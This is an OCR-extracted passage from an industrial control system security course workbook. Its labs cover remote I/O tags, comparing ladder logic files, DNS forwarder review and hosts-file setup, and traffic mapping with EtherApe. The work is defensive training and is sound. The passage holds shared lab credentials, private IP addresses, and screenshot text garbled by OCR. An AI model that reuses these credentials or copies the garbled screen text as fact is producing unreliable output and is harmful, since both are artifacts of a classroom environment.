(0] 1769-L18ER-BB1B RawPod1 _ Pod1Remotel0:2:|.Ch1Fau |BooL
&-E3 Embedded 1/0 Pod1Remotel0:2:| r |sooL
@ [1) Embedded Discrete_IO ~ Pod1Remotel0 gAh1LAlam 0 Decimal |BooL
-5 Expansion |/0, 1 Module ' (1 Decimal Iml-
0 [2]1734-OW4/C BreakerContact — Pod1Remotel0:20 i) ol |AB:1734 0E20:0
-5 Ethemet + Pod1Remotel0:20.ChOData [ Decimal [INT
{® 1769-L18ER-BB1B RawPod1 + Pod1Remotel0:20.Ch1Data 0 Decimal INT
=@ 1734-AENT/B Pod1Remotel0 Sel AB:1734_3SLOT:I:0|
=) & PointlO 3 Slot Chassis + Pod1Remotel0:0 el ol AB:1734_3SLOT:...
@ (0] 1734-AENT/B Pod1Remot '+ Pod2ControllerAlive 0 Decimal DINT
0 [111734-1E2V/C Pod1AI +t_Ck01WatchDog Tl = TIMER Click 01 Commuri...
e 1769{}‘:!?:;:?‘;&2’““0 [+ t_Ck02WatchDog o 1 TIMER Click 02 Commun...
- - o ontroller ThrowActualBagWiEmor 0 Decimal BOOL Throw Actual Bag...
< > ThrowBagFilledStatusErmor 0 Decimal |BooL. Throw a Bag Fille...
= = e = - . Taa At — ~ 1 -

3. Now on the Monitor Tags tab, enter a value of 100 into the Pod[x]Remotel0:2:0:CHOData tag where "x" is your Pod number.

Increase this tag value up to 1000 and see how the LED changes in intensity. You can also change the output value of the
second LED by entering values into the Pod[x]Remotel0:2:0:CH1Data tag where "x" is your Pod number.
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6 Logix Designer - RawPod1 in RawPod10901 Lab02.1.ACD [1769-L18ER-BB1B 24.13] - [Controller Tags - RawPod1(controller)]
[# File Edit View Search Logic Communications Tools Window Help

BEEH & & BB © o [RCiKTem v 28 G [k ¥R QQ | [sw v @
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{0 (0] 1769-L18ER-BB1B RawPod 1 Pod1Rematel0:2 Ch1F: BOOL
1.4 Embedded /O Pod1Remotel0:2:1.Ch BOOL
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=53 Expansion 1/0, 1 Module —Pod1 :2:| Ch1HAlarm Q Decimal BOOL
0 [2] 1734-OW4/C BreakerContact — Pod1 el0:20 g { AB:1734_0E20:0
=5 Ethernet + Pod1Remotel0:2:0 Ch0Data v 1000 “— INT =
@ 1769-L18ER-BB1B RawPod1 + Pod1Remotel0:20.Ch1Data 0 1000 INT
- @ 1734-AENT/B Pod1RemotelO . €0 e {2 AB:1734_35LOT:1:0
=83 PointlO 3 Slot Chassis + Pod1Remotel0:0 = iy AB:1734_3SLOT-.. | |
@ (0] 1734-AENT/B Pod1Remot T PodZCortoleeve ? Deciil DINT
0 (1]1734-1E2v/C Pod1Al +t_Ck01WatchDog = (en) TIMER Click 01 Commun...
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] 1769-L18ER-BB1B Pod02Controller = ThrowActualBagWtError ) Decimal BOOL Throw Actual Bag..
< > ThrowBagpFilledStatus Emor 0| Decimal BOOL [Thow a Bag Fille... [

4. Put the Pod[x]Remotel0:2:0:CHOData and tag Pod[x]Remotel0:2:0:CH1Data values back to zero where "x" is your Pod
number.

1. What are the benefits of using remote I/0 being controlled over a network?

2. What are the challenges to controlling remote I/0 over a network?

3. Can remote I/0 be controlled over standard Ethernet?

Exercise Takeaways

Remote I/0 is popular because it can save on wiring costs because most I/0 subsystems are done through a network topology.
Not all remote I/0 protocols are supported by Commercial Off the Shelf (COTS) technologies because the process will not tolerate
the jitter and non-deterministic nature of COTS networking protocols. The process you are controlling determines the network and
remote I/0 requirements. Each ICS vendor will have solutions to meet the customer's process requirements.
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Lab 2.3 -- Validate Functionality

Background

Total Lab Time: 10 minutes

Objectives

+ In this lab you will compare two ladder logic files to see if they are indeed the same or if something is different.

Task 1 -- Compare two Logix 5000 files

We can certainly use a file hash utility to compare a file against a well-known hash result. We would use hashing when our ICS
vendor doesn't give us a way to compare a known good application file against an uploaded copy. Most ICS vendors will sell an
archival system to compare files against an archived copy

In this section, we are going to use a Ladder Logic comparison tool to verify our files are the same and if not, this comparison tool
will tell us the differences.

1. From within the Student Windows VM, open the Logix Designer Compare Tool,you can either search for it or find it under the
Windows menu.
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@ FactoryTalk View ME Station

FactoryTalk View ME User Guide

FactoryTalk ViewPoint Quick Start...

FTAE Database Update Utility

Import RSSecurity Configuration

NEW

Legacy Tag Database Conversion

Log On to FactoryTalk

New
New

Logix Designer Compare Tool

ME Firmware Upgrade Wizard

New

ME Transfer Utility

OPC Test Client
Nev

OPCTest Document

Rockwell Automation CSV Data Lo...
New

RSLinx Classic

RSLinx Classic Backup Restore Utility

RSLinx Classic Launch Control Panel

RSLinx Classic Online Reference

RSSecurity Emulator Install

L Type here to search

2. After launching the Logix Designer Compare Tool, you will select File — New to start a new ladder logic comparison.
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Logix Designer Compare Tool - - X

File | Edit Options Window Help

|E New... Ctrl+N IL » A Vv

= Open.. Ctrl+0
Close
B saveas. Ctrl+S

‘% New Merge... Ctrl+E

3

Merge... Ctrl+M
& Print.. Ctrl+P
) PDF Report...

(=) Repeat Ctrl+R

Exit

Compare Summary Left Project Right Project

m Compare Results @ Find Results | Include Mask |

Create a new compare report.

3. The New Compare dialog box will appear.

162 © 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson

Technet24



8 Logix Designer Compare Tool — O X
File  Edit Options Window Help
Ex|2SHSR| e a2y

ﬂ New Compare

Left Prqect|

Right Project: |

Include tag data values in compare

(! Include constant tag data values in compare
[J Include descriptions in compare

[ Fiter tags

Compare Summary Left Project Right Project

m Compare Results @ Find Results | Include Mask |

4. You will use the two files found under Lab Files\Lab 2.3\Allen-Bradley\ . In the Left Project you will select
RawPod10819.acd and in the Right Project you will select RawPod10831.acd and select oK.
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ﬂ Logix Designer Compare Tool

File  Edit Options  Window

Help

Compare Summary

Ex2FHSR| e v

ﬂ New Compare X

Left Project:[C:\Users\ICS612\Downloads\Ladder\Pod01\Allen-] | .|

Right Project:[C-\Users\IC612\Downloads\Ladder\Pod01\Alen-| [ . |

Include tag data values in compare
[|Include constant tag data values in compare
[J Include descriptions in compare

[ Fiter tags

Left Project Right Project

m Compare Results @ Find Results | Include Mask |

5. In the "Compare Results" pane at the bottom of the window, you will find the differences listed.
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Logix Designer Compare Tool - RawPod10819-RawPod10831.compare

ile  Edit Options Window Help
B2 FEEGR &> a4~

Compare Summary Left Project Right Project
=3 Summary A || Controller A || Controller ~
& Controller 192 Controller Tag Differences . 204 Controller Tag Differences .
B Properties 1 Controller Property Difference 0 Controller Property Difference
: Program Program
i Controller Tags 0 Property Difference 0 Property Difference
Modules v 0 Tag Difference v 0 Tag Difference v

m Compare Results ]M Find Results | Include Mask |

6. In the Compare Summary left hand window, click the " Tasks " folder. This will cause the Left and Right Project windows to
display the Tasks in the PLC. Expand the "T_BreakerCtrl" task tree and the P_BreakerCtrl and then double-click the
"R_BreakerRoutine" ladder routine. This will cause the window above the Compare Results window to display a Left and Right

Ladder Contents window.
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File  Edit Options Window Help

S = = = R A

E Logix Designer Compare Tool - RawPod10831-RawPod1V0819.compare - [Ladder Routine - P_BreakerCtrl:R_BreakerRoutine]

-8 X

Left Ladder Contents - P_BreakerCtrl:R_BreakerRoutine

Right Ladder Contents - P_BreakerCtrl:R_BreakerRoutine
Online Edit State Online Edit State
Lodic Lodic

Compare Summary Left Project Right Project
-3 Controller B@ T_BreakerCtrl ~ E]@ T_BreakerCtrl ~
Properties =% P_BreakerCtrl =% P_BreakerCtrl
& Controller Tags R_BreakerRoutine R_BreakerRoutine
(3 Modules =-[® T_ModbusCtrl =-[® T_ModbusCtrl
(3 Tasks C]: P_ModbusMasterTCP v C‘ P_ModbusMasterTCP v
m Compare Results @ Find Results | B Include Mask |

7. Click the " Logic " link and you will find both panes display ladder logic. Any differences between the ladder code will have a
gray background while ladder logic that is the same will be displayed with a white background.
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Q Logix Designer Compare Tool - RawPod10831-RawPod1V0819.compare - [Ladder Routine - P_BreakerCtrl:R_BreakerRoutine] - m} X
File Edit Options Window Help -& X
B2 2082 e v
Left Ladder Contents - P_BreakerCtrl:R_BreakerRoutine Right Ladder Contents - P_BreakerCtrl:R_BreakerRoutine
~
md md
md Local:1:1.Data.1 Local:1:1.Data.4 md Local:1:1.Data.1 Local:1:1.Data.4
o0 md JE 3£ o0 md JE IE
md md
md md
md md
CloseBreaker01HMI CloseBreaker01HMI
md qE md qIE
md = E md ==
md md
md md
md md
md UselessBoxCloseBrezker1 md CloseBrkr01.EN
md JE md JE
md md
md md
md md
m CloseBrkr01.EN m
CloseBrkr01.DN TON.
==
] o =P Timer On Delay EN
Timer CloseBrkr01 DN
md md P 2
md el reset ?<
md md Accum ?<
=i CloseBrkr01.DN TON. md
md J£ Timer On Delay EN md
md Timer CloseBrkr01 DN md v
Compare Results 2
Compare Summary Left Project Right Project
Ej[:l Controller AlB @ T_BreakerCtrl A E@ T_BreakerCtrl A
2 Properties =% P_BreakerCtrl . =-0% P_BreakerCtrl
: Controller Tags ! R_BreakerRoutine ! R_BreakerRoutine
(23 Modules 2-L& T_ModbusCtrl =& T_ModbusCtrl
[ Tasks v #-C8 P_ModbusMasterTCP v 3 P_ModbusMasterTCP v
m Compare Results # Find Results | B Include Mask

Task 2 -- Compare PLC tags values in project files

1. Continue using the Logix Designer Compare Tool where you can also compare PLC tags. Click on the controtller folderin

the Compare Summary window and double-click " controller Tags". The window above the Compare Results window will

display all the controller tags and it will highlight any differences.
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Q Logix Designer Compare Tool - RawPod10819-RawPod10831.compare

File Edit Options Window Help
BEr|2@BESR| &> av

ne - P_BreakerCtrl:R_BreakerRoutine m[?”m ] e
st P BrcakeCith Rl
9 a5’ Controller Tags
4 Controller Tags - Left Project I Controller Tags - Right Project
Tag Name AliasFor Type } Des :I Tag Name i AliasFor | Type Descripti?;
of i Breaker01ClosedHMI BOOL AllowClick1ToCycleBreaker01 BOOL
Breaker02ClosedHMI BOOL AllowClick2ToCycleBreaker02 BOOL
» Click1BagFillSimTimer TIMER Brezker01ClosedHMI BOOL
Click1FillBagCycleComplete BOOL Brezker02ClosedHMI BOOL
» Click2BagFillSimTimer TIMER » Click1BagFillSimTimer TIMER
Click2FillBagCycleComplete BOOL Click1FillBagCycleComplete BOOL
Clk01TotalProduct\W/eightRequest DINT » Click2BagFillSimTimer TIMER
CIk02BagFilledRespSuccessful BOOL Click2FillBagCycleComplete BOOL
Clk02FillBagRespSuccessful BOOL Clk01TotalProduct\t/eightReguest DINT
CIk02Final\WtRes SentSuccessful BOOL Clk02BagFilledRespSuccessful BOOL
Clk02T otalProduct\eightReguest DINT Clk02FillBagRespSuccessful BOOL
Clk02ToteRespSuccessful BOOL Clk02Final\WtResSentSuccessful BOOL
dR_Clk01HeartbeatEcho DINT Clk02TotalProduct\t/eightReguest DINT
dR_CIk01Prod1\weightReg DINT Clk02ToteRespSuccessful BOOL
‘ Compare Results
Compare Summary Left Project Rig
-3 Summary
=3 Controller
: B Properties
. L.[& Controller Tags
(23 Modules
L..(23 Tasks

1. Does your company have a validation program? If so how often do you validate the PLC code

2. What is the value of a comparison tool versus a hashing utility?

3. When you ran the comparison tool, did you notice it will compare differences in hardware configurations?

Exercise Takeaways

Obtaining a hash of a file is certainly a great way to tell if a file is different than your "golden" copy but a hash does not tell you
"where" is it different. When comparing 2 potential versions of a PLC project filg, it is very handy to know exactly how the versions
are different so the operations team can provide insight into those differences. Perhaps only data values have changed but the
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logic is the same. By using ICS vendor tools, it may help you quickly determine if you should restore the logic without fear of the
code being different.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 169



Lab 2.4 -- Network Infrastructure Configuration

Background

Total Lab Time: 30 minutes

Objectives

* Review traditional IT network services such as Domain Name System (DNS)
+ Configure local naming service on an operator workstation.

« Test HMI client functionality on operator workstation

Task 1 -- Review of DNS and DNS Forwarding Configuration

1. From the Student Windows VM Image, open the Remote Desktop Connection and connect to an Operator Workstation (OWS)
running in the classroom server cluster.

Click the windows icon in the bottom left of the desktop and type remote in the search field. When displayed, click on the
Remote Desktop Connection icon.

Best match
)

~ Remote Desktop Connection
g " App

L remote| Desktop Connection

2. In the "Remote Desktop Connection" window type in the following IP address in the "Computer" entry field and click connect .

172.20.3.AAB

Where:

AA = Pod#=1-15
B = Student# = 1-2

Example

Pod 1/ Student 1 =172.20.3.11
Pod 12 / Student 2 = 172.20.3.122

3. Log on using the following credentials and click ok .

Username = ICS612
Password = ICS612
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Windows Security X
Enter your credentials
These credentials will be used to connect to 172.20.3.30. ‘
ICS612
oooooo| o
D Remember me
]
OK Cancel i

4. Click ves to connect despite these certificate errors.

& Remote Desktop Connection

X

a The identity of the remote computer cannot be verified. Do you
/ want to connect anyway?

The remote computer could not be authenticated due to problems with its security
certificate. It may be unsafe to proceed.
Certificate name

s Name inthe certificate from the remote computer:
ows

Certificate errors

The following errors were encountered while validating the remote
computer's certificate:

L. The certificate is notfrom a trusted certifying authority.

Do youwantto connect despite these certificate errors?

[[]Don't ask me again for connections to this computer

View certificate... No

5. You should now be connected to an Operator Workstation (OWS) desktop. Right-click the Command Prompt ( cmd. exe )
application from the desktop select Run as administrator . Elevate privileges is needed to run the following steps.
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“ Command Prompt

Desktoy

Run as administrator

Searchsuggest o0, file location

A emd-see pin to Start

Pin to taskbar

6. Click ves from the "User Account Control" message pop-up window to allow this app to make changes to your device.

User Account Control X

Do you want to allow this app to make
changes to your device?

Ci\ .
- Windows Command Processor

Verified publisher: Microsoft Windows

Show more details

Yes No
N
Wy

7. From within the "Command Prompt" application, run the following command to remotely call the DNS Server from the DNS
Manager.

Note

There is a plain text file on the desktop named "commands" that can be used to copy-paste the commands in the
workbook.

runas /netonly /user:scada\ICS612 "%SystemRoot%\system32\mmc.exe %SystemRoot%\system32\dnsmgmt.msc /s"

8. When prompted - Password = ICS612

:\Windows\system32>runas /netonly Juser:scada\ICS612 "“SystemBRootZz\system32\mmc
.exe “SystemRoot’Z\system32\dnsmgmt.msc"

Enter the password for scada\ICS612:

9. If prompted for DNS server IP address, enter 172.20.1.10. If not and DNS Manager opens continue onto the next step.

10. Identify configuration of IPv6 and Global Forwarders on the DNS server.
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Although most ICS environments do not actively deploy IPv6 in the environment, IPv6 is generally not actively shutdown or
managed during the deployment of these servers. Understanding how these systems are configured is useful when analyzing
attack surface and network communications.

Right-click on the DNS server 172.20.1.10 in the left-hand window of the "DNS Manager" and click Properties.

&

T
=
) T—TTr——

| Forwe  Configure a DNS Server...

“| Rever  Create Default Application Directory Partitions...

71 Condi  New Zone...
Globa  Set Aging/Scavenging for All Zones...
Scavenge Stale Resource Records
Update Server Data Files
Clear Cache

Launch nslookup
All Tasks »

B EE @S

View »

Delete
Refresh
Export List...

Heb |
]

11. Click the Interfaces tab from within the "Properties" window.

172.20.1.10 Properties 2x|

Debug Logging I Event Logging I Trust Anchors I Monitoring
Interfaces l Forwarders | Advanced |  RootHints

Select the IP addresses that will serve DNS requests. The server can
listen for DNS queries on all IP addresses defined for this computer, or
you can limit it to selected IP addresses.

Listen on:

* Al IP addresses

" Only the following IP addresses:
IP address:

fe80::5ce9:a595:dd52: 51ee
172.20.1.10

DNS forwarders are used to forward DNS queries to external DNS servers when the queried name does not exist within the
local domain. Since DNS forwarding is a necessary requirement for normal internet usage, attackers depend on DNS
forwarders to resolve IP addresses of an attacker-controlled environment. DNS forwarding could supply a threat with a
pathway out of the ICS environment. Care must be taken when using standard build images or processes provided by
external supplied vendors, integrators, or corporate IT. A couple of real-world examples to access external systems that would
typically rely on Fully Qualified Domain Name (FQDN) include configuring the static IP address instead of the FQDN or
configure a DNS entry directly in the local ICS DNS server.

12. Click the Forwarders tab from within the "Properties" window.
13. As shown, no Global Forwarders have been configured or required by the environment.

14. Click cancel atthe bottom of the "Properties” window.
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172.20.1.10 Propetties K E3

Debug Logging | Event Logging I
Interfaces Forwarders

Forwarders are DNS servers that this server can use to resolve DNS
queries for records that this server cannat resolve.

Trust Anchors | Monitoring |
Advanced | Root Hints

IP Address | Server FQDN

When DNS queries include external domains, forwarders send those queries to configured remote DNS servers outside of its
local network for resolution. For an ICS, external domains also include the enterprise.

15. DNS servers also allow conditional forwarders to be configured by domain. Let's identify if the DNS has any conditional
forwarders configured. Click on conditional Forwarders folder under the DNS server 172.20.1.10.

16. The folder contains no items since no Conditional Forwarders have been configured.

£, DNS Name | Type |

B F 172.20.1.10 ] o
% Forward Lookup Zones There are no items to show in this view.
| Reverse Lookup Zones

| Conditional Forwarders
£1] Global Logs

Conditional forwarders forward queries for specific domain names.

17. Before we leave the DNS Manager, let's review the configured DNS records. Click and open the DNS server 172.20.1.10.

18. Open the folder named Forward Lookup Zones

19. Open the folder named scada.local

20. Review the records and noting the HMISRV address, as well as, how the Operator Workstations (e.g. 172.20.3.11) are not listed

as a DNS record.

21. Close the "DNS Manager" window
15*. D_NS Name Type
v g 1'.12.20.1‘10 j_msdcs
v | Forward Lookup Zones j sites
el _msdcs.scada.local j_tcp
v .| scada.local i
> | _msdcs j_udp
i sites j DomainDnsZones
9 tep j ForestDnsZones
7 _udp ﬂ (same as parent folder) Start of Au
“| DomainDnsZones [—I (same as parent folder) Name Sen
“| ForestDnsZones [—I (same as parent folder) Host (A)
| Reverse Lookup Zones [El datasr Host (A)
~| Conditional Forwarders E—Iewﬂ Host (A)
ElHisTsrRv Host (A)
[ElHmisry Host (A)
Elicsrv Host (A)
Elptantde Host (A)

Ensure your ICS server build standards cover DNS configuration details. As we will explore in the next task, a DNS server can
have varying degrees of necessity and criticality within an ICS network unlike the Enterprise network. Many ICS server
environments exist without the use of any DNS server as ICS applications may be configured using IP addresses and
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workgroups. It is also feasible to find alternative name resolution technologies relied on such as NetBIOS name resolution or
Windows Internet Name Service.

22. Leave the Remote Desktop Connection open to perform the next task.

Task 2 -- Configure name resolution

1. In the previous section we identified that Operator Workstations are not configured in the DNS server. Let's try launching the
SCADA HMI Client application on this workstation. On the Desktop, double click the icon labelled ' Run Client'

(=)

Run Client

2. The application was unsuccessful and displayed the following error indicating a failure to connect to the FactoryTalk SE View
server. Click cancel

FactoryTalk View SE Client =

The dient temporarily cannot connect to the FactoryTalk View SE server in the
home area 'fAreal’ because the server is not available. To connect the dient
automatically when the server is available, leave this message open. To dose
the FactoryTalk View SE Client window and connect later, dick Cancel.

| Cancel |

3. Let's test to see if the HMISRV is available. Open Command Prompt ( cmd.exe ) application

4. Try to resolve the name of the HMI Server (HMISRV) by executing the following command.
ping HMISRV

The HMISRV should not resolve.

C:sWindows~System32>ping HMISRU
Ping request could not find host HMISRU. Please check the name and try again.

C:sWindows~System32 >

5. Display the DNS configuration on the network adapter. In "Command Prompt" execute the following commands and review
the DNS configuration.

ipconfig /all
nslookup HMISRV

No DNS entries are displayed since there is no DNS servers configured for this network adapter.

C:sWindowssSystem32>ipconfig ~all
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Ethernet adapter Local Area Connection:

Connection—specific Suffix
Description . . . . .
Physical Address. . .

DHCP Enabled. . . . . . .
Autoconfiguration Enabled

IPuv4 Address. . .

Subnet Mask . . .

Default Gateway . .

NetBIOS over Tcpip.

Intel{R> PRO/180A@ MT Network Connection
AR-568-56-81-C5-37

No

Yes

172.28.3 .11 (Preferred>

255.255.255.08

172.28.3.1

Enabled

C:\Windows\system32>nslookup HMISRU
% Default servers are not available

Server: UnKnown
Address: 127.0.0.1

%% UnKnown can’t find HMISRU: No response from server

C:\Windows\system32>

In most systems DHCP supplies the DNS server address; however, this workstation is configured with a static IP address as it
is associated to a specific area of the plant for easy determination of its physical location. Setting up a static DNS server is a
possible solution; however, we will use another technique commonly found in environments were either a DNS server is not

present or not used.

6. Configure the hosts file with the minimal number of servers this workstation must interact. Right click on the Notepad

shortcut on the desktop.

7. Select Run as administrator to run Notepad with elevated privileges.

Open
Open file location
Run as administrator

Pin to Taskbar

8. Click ves on the "User Account Control" pop-up window.

4 User Account Control @

e Do you want to allow the following program to make

changes to this computer?

l Program name:  Notepad
Verified publisher: Microsoft Windows

V) Show details Yes | No

Change when these notifications appear

9. From Notepad, open the "hosts" file in the Windows "etc" folder. Click File — open

10. In the "Open" dialog, either navigate to c¢:\Windows\system32\drivers\etc or navigate to the provided shortcut windows etc
Folder on the desktop.
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11. Once in the "etc" folder, choose All Files in the displayed File name extensions drop down.

File name: v [vText Documents (*.txt) V]

' Text Documents (*.txt)
Encoding: | ANSI '] All Files

12. Select and open the hosts file.

A

Name Date modified Type Size

|| hosts 6/10/2009 2:00 PM File 1KB
|| Imhosts.sam 6/10/2009 2:00 PM SAM File 4 KB
|| networks 6/10/2009 2:00 PM File 1KB
|_| protocol 6/10/2009 2:00 PM File 2KB
|| services 6/10/2009 2:00 PM File 18 KB

13. Add the following records to the "hosts" file. With the hosts file open in Notepad, copy, or type, the entries (shown below) in the
"Host IPs.txt"on the Desktop into the end of the "hosts" files.

Note

If a "Save As" prompt is displayed when you click "Save". Notepad was not opened with escalated privileges. Cancel the
save, close notepad ignoring the changes and go back and restart at step 5.

172.20.1.20 LICSRV
172.20.1.21 DATASRV
172.20.1.22 HMISRV
172.20.1.23 HISTSRV

172.20.1.20 LICSRV
172.20.1.21 DATASRV
172.20.1.22 HMISRV
172.20.1.23 HISTSRV

¥ localhost name resolution is handled within DNS itself.
= 127.0.0.1 localhost

¥ sied localhost

[172.20.1.20 LICSRV

172.20.1.21 DATASRV

172.20.1.22 HMISRV

172.20.1.23 HISTSRV

14. Save the file and close Notepad.

A "FactoryTalk Directory Information" may pop-up briefly on the desktop shortly after the hosts file is saved. The centralized
FactoryTalk Directory is software running from the LICSRV.
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ICS612
C:\31.90 GBNTFS

‘“K o

Etomize

=

© FactoryTalk Directory Information
Server: LICSRV
Connection state: CONNECTED

15. Test the "hosts" file configuration. Retry pinging the HMISRV from the "Command Prompt" application.

Ping HMISRV

C:xHWindows*System32>ping HMISRU

Pinging HMISRU [172.28.1.22]1 with 32 hytes of data:
172.20.1.22: hytes=32 time=1ims TTL=127
172.28.1.22: bytes=32 time<{ims TTL=127
172.20.1.22: hytes=32 time<ims TTL=127
172.28.1.22: bytes=32 time{ims TTL=127

Ping statistics for 17Y2.20.1.22:

Packets: Sent = 4. Received = 4, Lost = 8 (Bx loss).
Approximate round trip times in milli-—seconds:

Minimum = Bms,. Maximum = 1ms,. Average = Hms

16. Display the cached DNS entries from the "Command Prompt" application. Run the following command.
ipconfig /displaydns
C:\Windows\System32>ipconfig /displaydns

hmizpru

Mo records of

histsru

Record Mame . HISTSRU
Record Tuype i

Time To Live 864688

Data Length . 4

Section . . . Answer

A <Host>» Recor 172.28.1.23

All the records of the hosts file are displayed in the output from the "ipconfig /displaydns”. This is useful insight during
assessments and forensics.

17. Launch the SCADA HMI Client application on this workstation. On the Desktop, double click the icon labelled ' Run Client'

(=)

Run Client

18. The application should load and open a graphics display
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Note

Notify the instructor if the client application does not appear to start successfully as it will be used in subsequent labs.

19. Close the "Client" application window.

20. Close the Remote Desktop Connection by either logging out or clicking the ' x ' in the blue title bar at the top of the desktop.

...... - AL P TME o o v Lt Lvee Lot s e v AL M mu o v

172.20.3.30

1. What is the difference between forwarders and conditional forwarders?

2. Where was the IP address of the HMISRV resolved from?

3. What was the benefit of deleting DNS forwarders?

Exercise Takeaways

Name resolution is an essential component of a functioning system and understanding the various locations and order in which
name resolution occurs is a necessary skill in troubleshooting an environment. It is also important to understand how an
adversary can modify name resolution records to cause an effect within the process environment. Defining ICS desktop and
server build standards should be carefully defined to compliment the unique application of traditional IT technologies within
these environments.
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Lab 2.5 -- Map Communications for the Environment

Background

Total Lab Time: 20 minutes

Objectives

+ Use knowledge of the system to map communications and protocols in local kit, POD, and head end
+ Use case studies to determine the role and criticality of various communications.

+ Evaluate communications against a segmentation policy

Task 1 -- Defining Zones and Internal Policies

The Purdue Model is an example of how an ICS environment can be broken down into specific functional segments. It is not
intended to be a used literally as a standard to segment. The segmentation model must be defined specifically for each ICS
environment. Using the classroom coffee factory scenario, we will run through an example of a process used to map out the
communications of an environment. The diagram below depicts the segmentation policy designed for the facility based around
conversations and whiteboard sessions with the security and operations team. The zones were defined based on plant function.
With this policy in place, the security and operations teams must now identify if the 'actual' Line and Cell communications are in
alignment with the policy. A local packet capture was performed from Pod 1 switch (Raw Ingredients Line 1). We will analyze this
packet capture of Raw Ingredients Line 1.

Enterprise Manufacturing Network

Network Raw Ingredients Area

Raw Ingredients Line 1 (Pod 1)

Bulk Bag Bulk Bag
Unloader 1 (Click 1) Unloader 2 (Click 2)

3
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Task 2 -- Assessing Local Traffic against Policies

1. Copy the lab packet captures from the Lab Files\Lab 2.5 into the ICS612 folder on the RELICS desktop.

2. From within RELICS (user: relics, password: relics),click the search your computer icon (i.e, Ubuntu Logo) in the top-left,
type etherape in the search field then click EtherApe. Do not open the "as root" version.

®
©® (@ etherape

& Applications

EtherApe EtherApe (as root)

3. Click ok on the permissions error message window. Do not run EtherApe (as root).

Error opening any: any: You don't have permission to
@ capture on that device (socket: Operation not permitted)

- perhaps you need to be root?

4. Open the Protocols and Nodes windows from the toolbar.

[ PR3

Prot. Nodes

5. Arrange the window layouts so all 3 EtherApe windows are clearly visible.

EtherApe

> ] 0] K [ ®
Start | Next Pause Stop Pref. Prot. Nodes

Protocol «  Port Inst Traffic  Accum Traffic  Avg Size Last Heard

Protocols

Name « Address Inst Traffic Accum Traffic

Avg Size

Volatility (SIS

6. Open the packet capture named LocalCommsl.pcap . Click File — open from the menu. The menu appears when you move

the mouse to the top of the screen.
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EtherAp File Capture View Help
0O ; (Sagese)
export
Preferences

K (@
Stop Pref. Prol

Quit

7. EtherApe replays the packet capture in real-time displaying identified information.

EtherApe

> K [ b3 Protocol 4 Port InstTraffic AccumTraffic  AvgSize  LastHear|
Start Xt Stop Pref. Prot. Nodes ENIP-EXPLICIT 44818 12.21Kbps  86.65 Kbytes 104 bytes 0"ago
Protocols ENIP-IMPLICIT 2222 156.92Kbps  687.63Kbytes  73bytes  0"ago
ENIP-IMPL 239.255¢255.250 MODBUS-TCP 502 9.94Kbps 38.91 Kbytes 69 bytes 0"ago
SMB - Obps 1.19 Kbytes 243bytes 22" ago
SSDP 1900 0bps 22.59 Kbytes 386 bytes 3"ago

172.16.1.255
MODBUS-1
172.16.1.2

172.16°1712
SMB

172.96.1.3

172:16.1.11

~  Address Inst Traffi
172.16.1.12 9.94Kbp
172.16.1.2 179.06 K

WORKGROUP <1d> (Master Browser backup) 0bps
172.16.1.3 6.38Kbp
172.16.1.4 156.92K
172.20.1.21 5.82Kbp

aonarrcorcorn aboc

172.16.1.4
172.16.1.12

172.16.1.2
172.16.1.255
172.16.1.3
172.16.1.4
172.20.1.21

Replay from file '/home/relics/Desktop/ICS612_Labs/LocalComms1.pcapng’ completed.

e

The main window graphically represents the discovered nodes and communications in the packet capture. The colors
represent the protocol types discovered based primarily on identified ports. The line thickness represents the amount of
accumulative traffic between each node. From this graphic it is clear that a large amount of traffic exists between 172.16.1.2
and 172.16.1.4.

The protocol window lists all of the identified protocols. From the protocol list we see there is 3 ICS and 2 non-ICS protocols.
When maximized, the details also show that the top protocol is ENIP-IMPLICIT over port 2222 by the amount of accumulated
traffic.

Protocol 4 Port Inst Traffic Accum Traffic Avg Size Last Heard Packets
ENIP-EXPLICIT 44818 12.69 Kbps 86.77 Kbytes 104 bytes 0"ago 852
ENIP-IMPLICIT 2222 145.86Kbps  687.63 Kbytes 73 bytes 0" ago 9584
MODBUS-TCP 502 8.23Kbps 38.91 Kbytes 69 bytes 0"ago 578
SMB - 0bps 1.19 Kbytes 243 bytes 22"ago 5

SSDP 1900 0bps 22.59 Kbytes 386 bytes 3"ago 60

8. Although useful, the visual can misrepresent the actual number of protocols in use between nodes and a color-coded
representation of each protocols. Double-click on the node 172.16.1.4 to see the list of protocols used by this device.
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10.
11.

12.
13.

14.

Understanding the ICS protocols is useful for analyzing ICS packet captures. The EtherNet/IP protocol supports two methods
of communication referred to as explicit and implicit. In brief, explicit is used for non-deterministic communication such as
with programming software, OPC server, HMI systems, managing connections, etc. Implicit is used for deterministic
communication such as with remote I/0 or PLC to PLC. Node 172.16.1.4 is clearly part of implicit communications with node
172.16.1.2 but it does not clearly indicate which of these nodes is the PLC.

. Open the EtherApe Preferences by clicking on pref. in the top menu.

X

Pref.

For Central Node under the Diagram tab enter 172.16.1.2 and Click save.

With the Preferences window closed, Click ' start ' to re-analyze the packet capture and monitor the visual graphic looking for
any 'short' communications segments that disappear when the analysis is complete.

>
Start

When the analysis completes, click start again and click pause before those short communications segments disappear.

Double-click node 172.16.1.2 and node 172.20.1.21. Take a moment an compare the list of protocols these nodes are
communication to each other.

A flaw in the data representation of EtherApe is clear identification of which node is the client and which node is the
server.The port list of these 2 nodes both list Modbus port 502, however only one of these nodes is serving Modbus. The most
straight forward way to answer this question would be to open this packet capture in Wireshark. Attempting to correlate the
types of protocols on and between each node against a device type (PLC< 10, HMI, Drive, etc.) is typically based on a number
of assumptions and experiences with a particular vendor. The best and more accurate method is to ask the owners and
maintainers of these assets. Familiarization of the communications displayed would be ideal in preparation of those
discussions.

Repeat this for each of the other nodes to formulate a document for discussion with the operations team. Particular attention
should be given to communications between internal and network zones as defined in the plant segmentation policy covered
earlier.

Identification of communications transitioning between internal and external zones to discuss with operations include:

Protocol IP Range

Modbus TCP 172.16.1.12-172.16.1.2
Modbus TCP 172.16.1.12-172.20.1.21
Ethernet/IP Explicit 172.16.1.2-172.16.1.3
Ethernet/IP Explicit 172.16.1.2-172.21.1.21

The inventory of nodes in general need to be reviewed with operations, but these three nodes are of specific interest for the
following reasons:

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 183



172.16.1.3 The node likely is expected but we need to ensure this is not something concerning like an OEM supplied
remote access device or other unexpected communication path to a different subnet. It is all sending out some
discovery packets.

172.20.1.21 The only address outside of the subnet with the other nodes assuming a /24 subnet.

